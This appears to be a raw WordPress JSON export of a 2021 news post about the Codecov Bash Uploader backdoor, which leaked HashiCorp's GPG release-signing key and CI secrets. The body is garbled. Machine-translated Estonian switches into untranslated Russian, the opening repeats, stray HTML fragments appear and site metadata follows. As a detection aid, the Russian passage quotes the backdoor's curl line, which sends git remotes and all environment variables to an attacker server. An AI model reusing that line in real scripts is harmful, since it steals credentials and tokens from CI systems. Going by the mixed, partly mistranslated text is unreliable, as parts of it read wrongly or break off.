HashiCorp, tuntud avatud t\u00f6\u00f6riistade nagu Vagrant, Packer, Nomad ja Terraform arendajana, teatas, et nende GPG-salat v\u00f5tme lekkimine, mida kasutatakse digitaalsete allkirjade loomisel versioonide kinnitamiseks, on toimunud. R\u00fcndajad, kes p\u00e4\u00e4sesid GPG-v\u00f5tmele ligi, said potentsiaalselt varjata muudatusi HashiCorpi toodetes, kinnitades need \u00f5ige digitaalse allkirjaga. Samuti teatas ettev\u00f5te, et l\u00e4bi viidud auditi k\u00e4igus ei leitud t\u00f5endeid selliste muudatuste tegemise katsete kohta. <\/p>\n
Praegu on sotsialiseeritud GPG-v\u00f5ti tagasitehtud ja selle asemel on sisse viidud uus v\u00f5ti. Probleem puudutas ainult verifitseerimist SHA256SUM ja SHA256SUM.sig failide kaudu ning ei m\u00f5jutanud digitaalsete allkirjade loomist DEB ja RPM Linuxi pakettide jaoks, mis on saadetud l\u00e4bi releases.hashicorp.com, samuti versioonide kinnitamise mehhanisme macOS ja Windows (AuthentiCode). <\/p>\n
Lekked toimusid, kuna Codecov'i infrastruktuuris kasutati Bash Uploader skripti (codecov-bash), mis on m\u00f5eldud katvusraportite \u00fcleslaadimiseks pideva integreerimise s\u00fcsteemidest. Codecov'i ettev\u00f5tte vastu toimunud r\u00fcnnaku k\u00e4igus, oli k\u00e4esolev skript peidetud tagauksega, mille kaudu saadeti paroole ja kr\u00fcpteerimisv\u00f5tmeid. server<\/a> r\u00fcndajatele. <\/p>\n R\u00fcnna v\u00f5ime saavutamiseks kasutati r\u00fcndajate poolt viga Codecov'i Docker-konteineri loomise protsessis, mis lubas p\u00e4\u00e4seda GCS (Google Cloud Storage) ligip\u00e4\u00e4sudeni, mis on vajalikud Bash Uploader skripti muutmiseks, mille levitamine toimus aadressil codecov.io. Muudatused tehti juba 31. jaanuaril, mis j\u00e4id kaks kuud m\u00e4rkamatuks ja v\u00f5imaldasid kurjategijatel p\u00e4\u00e4seda ligi teabele, mis on salvestatud klientide pideva integreerimise s\u00fcsteemide keskkondadesse. Lisatud kahjurehe koodi kaudu said r\u00fcndajad teavet testitavate Git-repositoariumide ja nende keskkonnamuutujate kohta, sealhulgas ka neid, mis sisaldasid ligip\u00e4\u00e4sutooteid, kr\u00fcpteerimisv\u00f5tmeid ja paroole, mis edastatakse pideva integreerimise s\u00fcsteemidesse, et luua juurdep\u00e4\u00e4s rakenduste koodile, hoiustamisportaalidele ja teenustele nagu Amazon Web Services ja GitHub. <\/p>\n \u041a\u0440\u043e\u043c\u0435 \u043f\u0440\u044f\u043c\u043e\u0433\u043e \u0432\u044b\u0437\u043e\u0432\u0430 \u0441\u043a\u0440\u0438\u043f\u0442 Codecov Bash Uploader \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0432 \u0441\u043e\u0441\u0442\u0430\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0445 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a Codecov-action (Github), Codecov-circleci-orb \u0438 Codecov-bitrise-step, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435. \u0412\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c codecov-bash \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u043d\u0438\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0430\u0443\u0434\u0438\u0442 \u0441\u0432\u043e\u0438\u0445 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0436\u0435 \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u0438 \u043a\u043b\u044e\u0447\u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e \u0432 \u043d\u0451\u043c \u0441\u0442\u0440\u043e\u043a\u0438 curl -sm 0.5 -d «$(git remote -v)<<<<<< ENV $(env)» http:\/\/<IP-\u0441\u0435\u0440\u0432\u0435\u0440\u0430-\u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445>\/upload\/v2 || true \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f HashiCorp, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u0432 Vagrant, Packer, Nomad \u0438 Terraform, \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e GPG-\u043a\u043b\u044e\u0447\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0445 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439, \u0432\u0435\u0440\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0440\u0435\u043b\u0438\u0437\u044b. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f \u043a GPG-\u043a\u043b\u044e\u0447\u0443, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433\u043b\u0438 \u0432\u043d\u0435\u0441\u0442\u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b HashiCorp, \u0437\u0430\u0432\u0435\u0440\u0438\u0432 \u0438\u0445 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u044c\u044e. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0432 \u0445\u043e\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430 \u0441\u043b\u0435\u0434\u043e\u0432 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0432\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0439 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100037","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Rikka koodi integreerimine Codecovi skripti t\u00f5i kaasa HashiCorpi PGP-v\u00f5tme kompromiteerimise | ProHoster","description":"Ettev\u00f5te HashiCorp, tuntud avatud t\u00f6\u00f6riistade nagu Vagrant, Packer, Nomad ja Terraform arendamise poolest, teatas suletud GPG-v\u00f5tme lekkimisest, mida kasutati digitaalsete allkirjade loomisel, mis kinnitavad v\u00e4ljaandeid.","canonical_url":"https:\/\/prohoster.info\/et\/blog\/news\/vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"et_EE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0412\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0441\u043a\u0440\u0438\u043f\u0442 Codecov \u043f\u0440\u0438\u0432\u0435\u043b\u043e \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 PGP-\u043a\u043b\u044e\u0447\u0430 HashiCorp | ProHoster","og:description":"\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f HashiCorp, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u0432 Vagrant, Packer, Nomad \u0438 Terraform, \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e GPG-\u043a\u043b\u044e\u0447\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0445 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439, \u0432\u0435\u0440\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0440\u0435\u043b\u0438\u0437\u044b.","og:url":"https:\/\/prohoster.info\/et\/blog\/news\/vnedrenie-vredonosnogo-koda-v-skript-codecov-privelo-k-komprometaczii-pgp-klyucha-hashicorp","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-04-27T08:22:34+00:00","article:modified_time":"2021-04-27T08:22:34+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100037","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-04-27 08:40:28","updated":"2022-10-05 15:50:09","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/100037","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/comments?post=100037"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/100037\/revisions"}],"predecessor-version":[{"id":172925,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/100037\/revisions\/172925"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/media?parent=100037"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/categories?post=100037"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/tags?post=100037"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\n
Allikas: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"